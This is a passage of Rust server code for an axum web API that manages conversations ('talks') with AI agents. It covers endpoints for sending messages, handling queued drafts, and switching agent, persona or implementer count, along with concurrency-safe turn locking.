9970        return Err(ApiError::bad_request("say something"));
9971    }
9972
9973    let id = {
9974        let ui = Arc::clone(&ui);
9975        let asked = id.clone();
9976        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9977    };
9978    // A closed Talk never accepts a new immediate or queued turn. Check this
9979    // before claiming a slot so its ordinary domain refusal is a 409, not an
9980    // incidental failure from the later record/queue write.
9981    {
9982        let ui = Arc::clone(&ui);
9983        let id = id.clone();
9984        blocking(move || {
9985            let talk = ui.talks.get(&id)?;
9986            if !talk.status.open() {
9987                return Err(ApiError::conflict(format!(
9988                    "talk {} is {} and takes no more turns",
9989                    talk.short(),
9990                    talk.status.as_str()
9991                )));
9992            }
9993            Ok(())
9994        })
9995        .await?;
9996    }
9997
9998    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9999    // actually stores, before anything is written - an unknown id is a 4xx
10000    // that names it rather than a turn (or a queued draft) silently missing
10001    // an image.
10002    let attachments = {
10003        let ui = Arc::clone(&ui);
10004        let id = id.clone();
10005        let ids = body.attachments.clone();
10006        blocking(move || {
10007            ids.into_iter()
10008                .map(|att_id| {
10009                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
10010                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
10011                    })
10012                })
10013                .collect::<ApiResult<Vec<talk::Attachment>>>()
10014        })
10015        .await?
10016    };
10017    let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10018        .await.map_err(ApiError::from)?;
10019
10020    // Pending recovery and a new immediate turn are decided under the same
10021    // claim lock. Without that one critical section, a second `/say` can see
10022    // the first request's claim as "busy" and append itself to the recovered
10023    // draft before the first request rejects it.
10024    let start = {
10025        let ui = Arc::clone(&ui);
10026        let id = id.clone();
10027        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
10028    };
10029    let turn_guard = match start {
10030        TalkTurnStart::Claimed(turn_guard) => turn_guard,
10031        TalkTurnStart::Pending => {
10032            return Err(ApiError::conflict(
10033                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
10034            ));
10035        }
10036        TalkTurnStart::Foreign => {
10037            return Err(ApiError::conflict(
10038                "a turn is already running in another process; try again when it has finished",
10039            ));
10040        }
10041        TalkTurnStart::Busy => {
10042            // A turn is already running: queue rather than refuse. See
10043            // `Ui::begin_talk_turn` and `talk::queue`.
10044            //
10045            // The queue write and the drain it may owe live inside the task
10046            // `tokio::spawn` hands to the runtime, for the same reason the
10047            // immediate path below puts `record` there: a dropped handler
10048            // future must not be able to land between a durable write and
10049            // the task that answers it. `blocking` runs its closure on
10050            // `spawn_blocking`, which finishes whether or not anyone is left
10051            // to receive its result - so a disconnect at the `.await` below
10052            // would otherwise leave the draft persisted and the reclaimed
10053            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
10054            // ever started and the queued text stranded until some later
10055            // `say` happened to pick it up. The caller's 202 travels back
10056            // over a `oneshot`, sent the moment the write lands.
10057            let (tx, rx) = tokio::sync::oneshot::channel();
10058            tokio::spawn({
10059                let ui = Arc::clone(&ui);
10060                let id = id.clone();
10061                let said = body.text.clone();
10062                let reply_to = body.reply_to.clone();
10063                async move {
10064                    let written = blocking({
10065                        let ui = Arc::clone(&ui);
10066                        let id = id.clone();
10067                        move || {
10068                            let mut talk = ui.talks.get(&id)?;
10069                            // A test-only stop point, right before the write
10070                            // an interleaving test needs to pin - see
10071                            // `BusyQueueGate`. `None` in every real server:
10072                            // the field only exists under `#[cfg(test)]`.
10073                            #[cfg(test)]
10074                            if let Some(gate) = ui
10075                                .busy_queue_gate
10076                                .lock()
10077                                .unwrap_or_else(PoisonError::into_inner)
10078                                .take()
10079                            {
10080                                let _ = gate.reached.send(());
10081                                let _ = gate.release.recv();
10082                            }
10083                            if let Err(error) = talk::queue_reply(
10084                                &mut talk,
10085                                &ui.talks,
10086                                &said,
10087                                attachments,
10088                                reply_to,
10089                            ) {
10090                                if let Ok(fresh) = ui.talks.get(&id) {
10091                                    if !fresh.status.open() {
10092                                        return Err(ApiError::conflict(format!(
10093                                            "talk {} is {} and takes no more turns",
10094                                            fresh.short(),
10095                                            fresh.status.as_str()
10096                                        )));
10097                                    }
10098                                }
10099                                return Err(
10100                                    if error.to_string().contains("invalid reply target") {
10101                                        ApiError::bad_request("invalid reply target")
10102                                    } else {
10103                                        ApiError::from(error)
10104                                    },
10105                                );
10106                            }
10107                            // The turn that looked busy a moment ago can have
10108                            // finished, found nothing to drain and given up the
10109                            // slot in the gap between that check and this write
10110                            // landing - see `drain_loop`'s own doc for the other
10111                            // half of why that gap would otherwise be able to
10112                            // open at all. Reclaiming the slot here, rather than
10113                            // trusting that whoever held it is still watching, is
10114                            // what stops the text just queued from being stranded
10115                            // until an unrelated future `say` happens to drain
10116                            // it.
10117                            let claim = match ui.begin_queued_talk_turn(&id)? {
10118                                Some(turn_guard) => {
10119                                    let cfg = talk.config()?;
10120                                    Some((talk.clone(), cfg, turn_guard))
10121                                }
10122                                None => None,
10123                            };
10124                            let thinking = ui.is_thinking(&id);
10125                            Ok((TalkView::new(talk, thinking, &ui), claim))
10126                        }
10127                    })
10128                    .await;
10129                    #[cfg(not(test))]
10130                    {
10131                        match written {
10132                            Ok((view, reclaimed)) => {
10133                                let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
10134                                drop(reclaimed);
10135                                match launched {
10136                                    Ok(_) => { let _ = tx.send(Ok(view)); }
10137                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
10138                                }
10139                            }
10140                            Err(error) => { let _ = tx.send(Err(error)); }
10141                        }
10142                    }
10143                    #[cfg(test)]
10144                    {
10145                    let (view, reclaimed) = match written {
10146                        Ok(pair) => pair,
10147                        Err(e) => {
10148                            // Nobody is listening if the handler's own future
10149                            // was already dropped - that is fine, nothing was
10150                            // persisted and there is no response left to carry
10151                            // this error to.
10152                            let _ = tx.send(Err(e));
10153                            return;
10154                        }
10155                    };
10156                    // If this fails, the caller is gone; the drain below still
10157                    // runs exactly as it would have for a caller that stayed.
10158                    let _ = tx.send(Ok(view));
10159                    if let Some((talk, cfg, turn_guard)) = reclaimed {
10160                        let talks = ui.talks.clone();
10161                        drain_loop(talk, talks, cfg, id, turn_guard).await;
10162                    }
10163                    }
10164                }
10165            });
10166            let view = rx
10167                .await
10168                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
10169            return Ok((StatusCode::ACCEPTED, Json(view)));
10170        }
10171    };
10172
10173    let (talk, cfg) = {
10174        let ui = Arc::clone(&ui);
10175        let id = id.clone();
10176        blocking(move || {
10177            let talk = ui.talks.get(&id)?;
10178            let cfg = talk.config()?;
10179            Ok((talk, cfg))
10180        })
10181        .await?
10182    };
10183
10184    let talks = ui.talks.clone();
10185    // `record` runs *inside* the spawned task, rather than in this handler
10186    // followed by a separate `tokio::spawn` for `respond` - axum drops this
10187    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
10188    // doc), and that drop can land at any `.await` this function makes,
10189    // including one that has already produced its result but not yet
10190    // resumed. A message could end up recorded on disk with the handler
10191    // future gone before it ever reached the `tokio::spawn` that would have
10192    // started the reply. `tokio::spawn` itself is a plain, synchronous call
10193    // that hands the whole future to the runtime as one unit - once made, no
10194    // later drop of *this* handler's own future (that call's return value is
10195    // never held onto here) can reach back in and stop it, so record and the
10196    // hand-off to `respond` are unconditionally atomic from the client's
10197    // point of view. The immediate response this handler owes the caller
10198    // travels back over a `oneshot`, sent the moment `record` succeeds.
10199    let (tx, rx) = tokio::sync::oneshot::channel();
10200    tokio::spawn({
10201        #[cfg(test)]
10202        let ui = Arc::clone(&ui);
10203        let talks = talks.clone();
10204        let id = id.clone();
10205        let said = body.text.clone();
10206        let reply_to = body.reply_to.clone();
10207        let mut talk = talk.clone();
10208        async move {
10209            let recorded = blocking({
10210                let talks = talks.clone();
10211                move || {
10212                    if let Err(error) =
10213                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
10214                    {
10215                        if let Ok(fresh) = talks.get(&talk.id) {
10216                            if !fresh.status.open() {
10217                                return Err(ApiError::conflict(format!(
10218                                    "talk {} is {} and takes no more turns",
10219                                    fresh.short(),
10220                                    fresh.status.as_str()
10221                                )));
10222                            }
10223                        }
10224                        return Err(if error.to_string().contains("invalid reply target") {
10225                            ApiError::bad_request("invalid reply target")
10226                        } else {
10227                            ApiError::from(error)
10228                        });
10229                    }
10230                    // `record` mutates `talk` in place to the freshly persisted
10231                    // state (status, pending, and the just-appended operator
10232                    // turn), so returning it here is equivalent to re-reading it
10233                    // from disk - without the extra round trip a re-read would
10234                    // need.
10235                    Ok((said.trim().to_owned(), talk))
10236                }
10237            })
10238            .await;
10239            let (text, talk) = match recorded {
10240                Ok(pair) => pair,
10241                Err(e) => {
10242                    // Nobody is listening if the handler's own future was
10243                    // already dropped - that is fine, there is no response
10244                    // left to carry this error to and nothing was persisted.
10245                    let _ = tx.send(Err(e));
10246                    return;
10247                }
10248            };
10249            #[cfg(not(test))]
10250            {
10251                let _ = (&cfg, &text);
10252                // The reservation becomes durable while this process still
10253                // holds the talk lease. The child waits for that lease; the
10254                // new UI sees its startup reservation immediately.
10255                let result = crate::chat_worker::spawn_recorded_turn(
10256                    &talks, &id, talk.turns.len() - 1,
10257                ).await;
10258                drop(turn_guard);
10259                match result {
10260                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
10261                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
10262                }
10263            }
10264            #[cfg(test)]
10265            {
10266            let queued = talk.clone();
10267            let mut talk = talk;
10268            let thinking = ui.is_thinking(&id);
10269            // If this fails, the caller is gone; the turn still runs below
10270            // exactly as it would have for a caller that stayed connected.
10271            let _ = tx.send(Ok((queued, thinking)));
10272
10273            let turn_index = talk.turns.len() - 1;
10274            if let Err(e) = turn_guard
10275                .respond_at(&mut talk, &talks, &cfg, &text, Some(turn_index))
10276                .await
10277            {
10278                // `respond` records the failure in the transcript itself,
10279                // which is what the phone reads; this line is for the
10280                // operator's terminal.
10281                tracing::warn!("talk {id} turn failed: {e:#}");
10282            }
10283            // Anything `talk::queue` added while the turn above was running
10284            // is still owed an answer - see `drain_loop`.
10285            drain_loop(talk, talks, cfg, id, turn_guard).await;
10286            }
10287        }
10288    });
10289
10290    let (queued, thinking) = rx
10291        .await
10292        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
10293
10294    // 202: the operator's message is recorded and a turn is running.
10295    Ok((
10296        StatusCode::ACCEPTED,
10297        Json(TalkView::new(queued, thinking, &ui)),
10298    ))
10299    }).await
10300}
10301
10302/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
10303/// changing it. The turn guard is the same per-talk ownership `talk_say`
10304/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
10305async fn talk_pending_resume(
10306    State(ui): State<Arc<Ui>>,
10307    Path(id): Path<String>,
10308) -> ApiResult<(StatusCode, Json<TalkView>)> {
10309    let admission = ui.begin_admission()?;
10310    admitted(admission, async move {
10311        let id = {
10312            let ui = Arc::clone(&ui);
10313            let asked = id.clone();
10314            blocking(move || resolve_talk(&ui.talks, &asked)).await?
10315        };
10316        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10317            .await
10318            .map_err(ApiError::from)?;
10319        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10320            return Err(ApiError::conflict(
10321                "a talk turn is already running; the queued draft will be handled by it",
10322            ));
10323        };
10324        let (talk, cfg) = {
10325            let ui = Arc::clone(&ui);
10326            let id = id.clone();
10327            blocking(move || {
10328                let talk = ui.talks.get(&id)?;
10329                if !talk.status.open() {
10330                    return Err(ApiError::conflict(format!(
10331                        "talk {} is {} and takes no more turns",
10332                        talk.short(),
10333                        talk.status.as_str()
10334                    )));
10335                }
10336                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
10337                    return Err(ApiError::conflict("there is no queued draft to resume"));
10338                }
10339                let cfg = talk.config()?;
10340                Ok((talk, cfg))
10341            })
10342            .await?
10343        };
10344        let view = TalkView::new(talk.clone(), true, &ui);
10345        let talks = ui.talks.clone();
10346        #[cfg(not(test))]
10347        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10348        #[cfg(test)]
10349        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10350        Ok((StatusCode::ACCEPTED, Json(view)))
10351    })
10352    .await
10353}
10354
10355/// Hand off an admitted draft while retaining the talk lease until its
10356/// detached startup reservation is durable.
10357#[cfg(not(test))]
10358async fn detach_talk_turn(
10359    _talk: Talk,
10360    talks: Talks,
10361    _cfg: Config,
10362    id: String,
10363    turn: TalkTurnGuard,
10364) -> ApiResult<()> {
10365    let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
10366    drop(turn);
10367    launched.map(|_| ()).map_err(ApiError::from)
10368}
10369
10370#[cfg(test)]
10371async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
10372    drain_loop_started(talk, talks, cfg, id, turn, None).await;
10373}
10374
10375/// A settings response must not report idle while its claim is still held.
10376/// Wait until the first drain either releases the claim or promotes a draft.
10377/// The task owns the guard even if the HTTP handler is cancelled while waiting.
10378async fn settle_settings_turn(
10379    talk: Talk,
10380    talks: Talks,
10381    cfg: Config,
10382    id: String,
10383    turn: TalkTurnGuard,
10384    observed: u64,
10385) -> bool {
10386    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
10387        let turns = Arc::clone(&turn.turns);
10388        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
10389        if live.queued.get(&id).copied().unwrap_or(0) == observed {
10390            // Release under the arrival lock; a later `/say` takes its own claim.
10391            turn.release(&mut live);
10392            return false;
10393        }
10394    }
10395    let (started, settled) = tokio::sync::oneshot::channel();
10396    tokio::spawn(drain_loop_started(
10397        talk,
10398        talks,
10399        cfg,
10400        id,
10401        turn,
10402        Some(started),
10403    ));
10404    settled.await.unwrap_or(false)
10405}
10406
10407#[cfg(not(test))]
10408async fn drain_loop_started(
10409    talk: Talk,
10410    talks: Talks,
10411    _cfg: Config,
10412    id: String,
10413    turn: TalkTurnGuard,
10414    started: Option<tokio::sync::oneshot::Sender<bool>>,
10415) {
10416    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
10417    let running = if pending {
10418        match crate::chat_worker::spawn_turn(&talks, &id).await {
10419            Ok(_) => true,
10420            Err(error) => {
10421                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
10422                false
10423            }
10424        }
10425    } else {
10426        false
10427    };
10428    drop(turn);
10429    if let Some(started) = started {
10430        let _ = started.send(running);
10431    }
10432}
10433
10434// Existing in-process conversation tests exercise transcript/arrival ordering;
10435// real process-lifetime behavior is covered by the CLI integration tests.
10436#[cfg(test)]
10437async fn drain_loop_started(
10438    mut talk: Talk,
10439    talks: Talks,
10440    cfg: Config,
10441    id: String,
10442    turn: TalkTurnGuard,
10443    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
10444) {
10445    let live_set = Arc::clone(&turn.turns);
10446    // `Option` rather than binding `turn` directly to a `_turn` that lives
10447    // for the whole function: releasing it has to happen by calling
10448    // `TalkTurnGuard::release` from inside the locked branch below, which
10449    // takes `self` by value. Left as a plain drop instead, `Drop` would still
10450    // remove the id - correctly, if this loop is ever left some other way -
10451    // but doing it there misses the lock this loop is already holding, which
10452    // is the exact gap `release` exists to close.
10453    let mut turn = Some(turn);
10454    loop {
10455        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
10456            // The lease was taken over while a turn ran. Whatever is queued
10457            // stays a draft; running it here would race the new owner.
10458            tracing::warn!("talk {id} lost its turn lease; not draining further");
10459            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10460            if let Some(turn) = turn.take() {
10461                turn.release(&mut live);
10462            }
10463            break;
10464        }
10465        // `talk::drain` takes the store lock and can write/rename the talk
10466        // file. Keep the turn mutex out of that synchronous work: it protects
10467        // every talk's in-memory claim, not this talk's disk operation.
10468        let observed = live_set
10469            .lock()
10470            .unwrap_or_else(PoisonError::into_inner)
10471            .queued
10472            .get(&id)
10473            .copied()
10474            .unwrap_or(0);
10475        let drained = blocking({
10476            let talks = talks.clone();
10477            move || {
10478                let result = talk::drain_indexed(&mut talk, &talks);
10479                Ok((talk, result))
10480            }
10481        })
10482        .await;
10483        let (next_talk, result) = match drained {
10484            Ok(drained) => drained,
10485            Err(e) => {
10486                tracing::warn!(
10487                    status = %e.status,
10488                    message = %e.message,
10489                    "talk {id} could not start queued-text drain"
10490                );
10491                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10492                turn.take()
10493                    .expect("held for the whole loop until released here")
10494                    .release(&mut live);
10495                break;
10496            }
10497        };
10498        talk = next_talk;
10499        let (drained, drained_index) = match result {
10500            Ok(Some(drained)) => drained,
10501            Ok(None) => {
10502                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10503                if live.queued.get(&id).copied().unwrap_or(0) != observed {
10504                    continue;
10505                }
10506                turn.take()
10507                    .expect("held for the whole loop until released here")
10508                    .release(&mut live);
10509                break;
10510            }
10511            Err(e) => {
10512                tracing::warn!("talk {id} could not drain queued text: {e:#}");
10513                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10514                turn.take()
10515                    .expect("held for the whole loop until released here")
10516                    .release(&mut live);
10517                break;
10518            }
10519        };
10520        if let Some(started) = started.take() {
10521            let _ = started.send(true);
10522        }
10523        let responded = match turn.as_ref() {
10524            Some(turn) => {
10525                turn.respond_at(&mut talk, &talks, &cfg, &drained, Some(drained_index))
10526                    .await
10527            }
10528            None => Err(anyhow::anyhow!("the turn guard was released")),
10529        };
10530        if let Err(e) = responded {
10531            tracing::warn!("talk {id} turn failed: {e:#}");
10532        }
10533    }
10534    drop(turn);
10535    if let Some(started) = started {
10536        let _ = started.send(false);
10537    }
10538}
10539
10540/// Clear a queued draft only if it remains exactly the one the caller saw.
10541async fn talk_pending_clear(
10542    State(ui): State<Arc<Ui>>,
10543    Path(id): Path<String>,
10544    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
10545) -> ApiResult<Json<TalkView>> {
10546    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10547    blocking(move || {
10548        let id = resolve_talk(&ui.talks, &id)?;
10549        let mut talk = ui.talks.get(&id)?;
10550        if !talk.status.open() {
10551            return Err(ApiError::conflict(format!(
10552                "talk {} is {} and takes no more turns",
10553                talk.short(),
10554                talk.status.as_str()
10555            )));
10556        }
10557        if !talk::clear_pending_if_matches(
10558            &mut talk,
10559            &ui.talks,
10560            &body.expected_text,
10561            &body.expected_attachments,
10562        )? {
10563            return Err(ApiError::conflict(
10564                "queued message changed; reload it before clearing",
10565            ));
10566        }
10567        let thinking = ui.is_thinking(&talk.id);
10568        Ok(Json(TalkView::new(talk, thinking, &ui)))
10569    })
10570    .await
10571}
10572
10573/// Atomically edit a queued draft's text while preserving its attachments.
10574/// The snapshot fields make a concurrent queue or drain a conflict rather
10575/// than silently discarding either message.
10576async fn talk_pending_edit(
10577    State(ui): State<Arc<Ui>>,
10578    Path(id): Path<String>,
10579    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
10580) -> ApiResult<Json<TalkView>> {
10581    let admission = ui.begin_admission()?;
10582    admitted(admission, async move {
10583        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10584        let id = {
10585            let ui = Arc::clone(&ui);
10586            blocking(move || resolve_talk(&ui.talks, &id)).await?
10587        };
10588        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10589            .await
10590            .map_err(ApiError::from)?;
10591        let (view, reclaimed) = blocking({
10592            let ui = Arc::clone(&ui);
10593            move || {
10594                let mut talk = ui.talks.get(&id)?;
10595                if !talk.status.open() {
10596                    return Err(ApiError::conflict(format!(
10597                        "talk {} is {} and takes no more turns",
10598                        talk.short(),
10599                        talk.status.as_str()
10600                    )));
10601                }
10602                if !talk::edit_pending_message(
10603                    &mut talk,
10604                    &ui.talks,
10605                    &body.text,
10606                    &body.expected_text,
10607                    &body.expected_attachments,
10608                    body.message,
10609                )? {
10610                    return Err(ApiError::conflict(
10611                        "queued message changed; reload it before editing",
10612                    ));
10613                }
10614                let claim = match ui.begin_queued_talk_turn(&id)? {
10615                    Some(turn_guard) => {
10616                        let cfg = talk.config()?;
10617                        Some((talk.clone(), cfg, id.clone(), turn_guard))
10618                    }
10619                    None => None,
10620                };
10621                let thinking = ui.is_thinking(&id);
10622                Ok((TalkView::new(talk, thinking, &ui), claim))
10623            }
10624        })
10625        .await?;
10626        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10627            let talks = ui.talks.clone();
10628            #[cfg(not(test))]
10629            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10630            #[cfg(test)]
10631            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10632        }
10633        Ok(Json(view))
10634    })
10635    .await
10636}
10637
10638/// The 409 for a talk that takes no more turns.
10639fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10640    if talk.status.open() {
10641        return Ok(());
10642    }
10643    Err(ApiError::conflict(format!(
10644        "talk {} is {} and takes no more turns",
10645        talk.short(),
10646        talk.status.as_str()
10647    )))
10648}
10649
10650/// The body of `POST /api/talks/{id}/agent`.
10651#[derive(Debug, Deserialize)]
10652struct TalkAgent {
10653    agent: String,
10654}
10655
10656/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
10657/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
10658/// start a turn on the old session between the check and the write; one that
10659/// arrives in that window finds the talk busy and becomes a draft.
10660async fn talk_agent(
10661    State(ui): State<Arc<Ui>>,
10662    Path(id): Path<String>,
10663    Json(body): Json<TalkAgent>,
10664) -> ApiResult<Json<TalkView>> {
10665    let admission = ui.begin_admission()?;
10666    admitted(admission, async move {
10667        let id = {
10668            let ui = Arc::clone(&ui);
10669            blocking(move || resolve_talk(&ui.talks, &id)).await?
10670        };
10671        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10672            .await
10673            .map_err(ApiError::from)?;
10674        let cfg = {
10675            let ui = Arc::clone(&ui);
10676            let id = id.clone();
10677            blocking(move || Ok(ui.talks.get(&id)?.config()?)).await?
10678        };
10679        // Refuse before taking the claim; see `talk_implementers`.
10680        {
10681            let ui = Arc::clone(&ui);
10682            let id = id.clone();
10683            let cfg = cfg.clone();
10684            let wanted = body.agent.clone();
10685            blocking(move || {
10686                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10687                    .map_err(ApiError::bad_request_from)?;
10688                refuse_if_closed(&ui.talks.get(&id)?)
10689            })
10690            .await?;
10691        }
10692        ui.leave_resident(&id).await;
10693        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10694            return Err(ApiError::conflict(
10695                "a talk turn is running; change the agent once it has answered",
10696            ));
10697        };
10698        let switched = {
10699            let ui = Arc::clone(&ui);
10700            let id = id.clone();
10701            let cfg = cfg.clone();
10702            blocking(move || {
10703                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10704                    .map_err(ApiError::bad_request_from)?;
10705                let mut talk = ui.talks.get(&id)?;
10706                if !talk.status.open() {
10707                    return Err(ApiError::conflict(format!(
10708                        "talk {} is {} and takes no more turns",
10709                        talk.short(),
10710                        talk.status.as_str()
10711                    )));
10712                }
10713                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10714                Ok(talk)
10715            })
10716            .await
10717        };
10718        // A `/say` that landed while this held the claim saw the talk busy and
10719        // left a durable draft, trusting the claim's owner to drain it. So the
10720        // claim is settled whatever the outcome. Release an empty draft's claim
10721        // before replying; queued drafts continue independently of the handler.
10722        let observed = ui.queued_generation(&id);
10723        let fresh = {
10724            let ui = Arc::clone(&ui);
10725            let id = id.clone();
10726            blocking(move || Ok(ui.talks.get(&id)?)).await
10727        };
10728        let draining = match fresh {
10729            Ok(talk) => {
10730                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10731            }
10732            Err(_) => false,
10733        };
10734        let talk = switched?;
10735        Ok(Json(TalkView::new(talk, draining, &ui)))
10736    })
10737    .await
10738}
10739
10740/// The body of `POST /api/talks/{id}/persona`.
10741#[derive(Debug, Deserialize)]
10742struct TalkPersona {
10743    persona: String,
10744}
10745
10746/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
10747/// like [`talk_agent`]: the turn guard is held for the change and always handed
10748/// to `drain_loop`, so a draft left meanwhile is not stranded.
10749async fn talk_persona(
10750    State(ui): State<Arc<Ui>>,
10751    Path(id): Path<String>,
10752    Json(body): Json<TalkPersona>,
10753) -> ApiResult<Json<TalkView>> {
10754    let admission = ui.begin_admission()?;
10755    admitted(admission, async move {
10756        let id = {
10757            let ui = Arc::clone(&ui);
10758            blocking(move || resolve_talk(&ui.talks, &id)).await?
10759        };
10760        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10761            .await
10762            .map_err(ApiError::from)?;
10763        let cfg = {
10764            let ui = Arc::clone(&ui);
10765            let id = id.clone();
10766            blocking(move || Ok(ui.talks.get(&id)?.config()?)).await?
10767        };
10768        // Refuse before taking the claim; see `talk_implementers`.
10769        {
10770            let ui = Arc::clone(&ui);
10771            let id = id.clone();
10772            let cfg = cfg.clone();
10773            let wanted = body.persona.clone();
10774            blocking(move || {
10775                if persona::find(&cfg.talk.personas, &wanted).is_none() {
10776                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10777                }
10778                refuse_if_closed(&ui.talks.get(&id)?)
10779            })
10780            .await?;
10781        }
10782        ui.leave_resident(&id).await;
10783        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10784            return Err(ApiError::conflict(
10785                "a talk turn is running; change the persona once it has answered",
10786            ));
10787        };
10788        let switched = {
10789            let ui = Arc::clone(&ui);
10790            let id = id.clone();
10791            let cfg = cfg.clone();
10792            blocking(move || {
10793                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10794                    return Err(ApiError::bad_request(format!(
10795                        "unknown persona `{}`",
10796                        body.persona
10797                    )));
10798                };
10799                let mut talk = ui.talks.get(&id)?;
10800                if !talk.status.open() {
10801                    return Err(ApiError::conflict(format!(
10802                        "talk {} is {} and takes no more turns",
10803                        talk.short(),
10804                        talk.status.as_str()
10805                    )));
10806                }
10807                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10808                Ok(talk)
10809            })
10810            .await
10811        };
10812        // As in `talk_agent`: settle the claim before replying, even on refusal.
10813        let observed = ui.queued_generation(&id);
10814        let fresh = {
10815            let ui = Arc::clone(&ui);
10816            let id = id.clone();
10817            blocking(move || Ok(ui.talks.get(&id)?)).await
10818        };
10819        let draining = match fresh {
10820            Ok(talk) => {
10821                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10822            }
10823            Err(_) => false,
10824        };
10825        let talk = switched?;
10826        Ok(Json(TalkView::new(talk, draining, &ui)))
10827    })
10828    .await
10829}
10830
10831/// The body of `POST /api/talks/{id}/implementers`.
10832#[derive(Debug, Deserialize)]
10833struct TalkImplementers {
10834    implementers: u8,
10835}
10836
10837/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10838/// like [`talk_agent`]: the turn guard is held for the change and always handed
10839/// to `drain_loop`, so a draft left meanwhile is not stranded.
10840async fn talk_implementers(
10841    State(ui): State<Arc<Ui>>,
10842    Path(id): Path<String>,
10843    Json(body): Json<TalkImplementers>,
10844) -> ApiResult<Json<TalkView>> {
10845    let admission = ui.begin_admission()?;
10846    admitted(admission, async move {
10847        let id = {
10848            let ui = Arc::clone(&ui);
10849            blocking(move || resolve_talk(&ui.talks, &id)).await?
10850        };
10851        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10852            .await
10853            .map_err(ApiError::from)?;
10854        let cfg = {
10855            let ui = Arc::clone(&ui);
10856            let id = id.clone();
10857            blocking(move || Ok(ui.talks.get(&id)?.config()?)).await?
10858        };
10859        // Refuse a request that cannot succeed before taking the claim: a claim
10860        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10861        // moment, so a refusal would make the next request see "busy" instead of
10862        // its own answer. The checks after the claim stay the ones that decide.
10863        {
10864            let ui = Arc::clone(&ui);
10865            let id = id.clone();
10866            let cfg = cfg.clone();
10867            let wanted = body.implementers;
10868            blocking(move || {
10869                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10870                refuse_if_closed(&ui.talks.get(&id)?)
10871            })
10872            .await?;
10873        }
10874        ui.leave_resident(&id).await;
10875        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10876            return Err(ApiError::conflict(
10877                "a talk turn is running; change the implementers once it has answered",
10878            ));
10879        };
10880        let switched = {
10881            let ui = Arc::clone(&ui);
10882            let id = id.clone();
10883            let cfg = cfg.clone();
10884            blocking(move || {
10885                let chosen = talk::check_implementers(body.implementers, &cfg)
10886                    .map_err(ApiError::bad_request)?;
10887                let mut talk = ui.talks.get(&id)?;
10888                if !talk.status.open() {
10889                    return Err(ApiError::conflict(format!(
10890                        "talk {} is {} and takes no more turns",
10891                        talk.short(),
10892                        talk.status.as_str()
10893                    )));
10894                }
10895                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10896                Ok(talk)
10897            })
10898            .await
10899        };
10900        // As in `talk_agent`: settle the claim before replying, even on refusal.
10901        let observed = ui.queued_generation(&id);
10902        let fresh = {
10903            let ui = Arc::clone(&ui);
10904            let id = id.clone();
10905            blocking(move || Ok(ui.talks.get(&id)?)).await
10906        };
10907        let draining = match fresh {
10908            Ok(talk) => {
10909                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10910            }
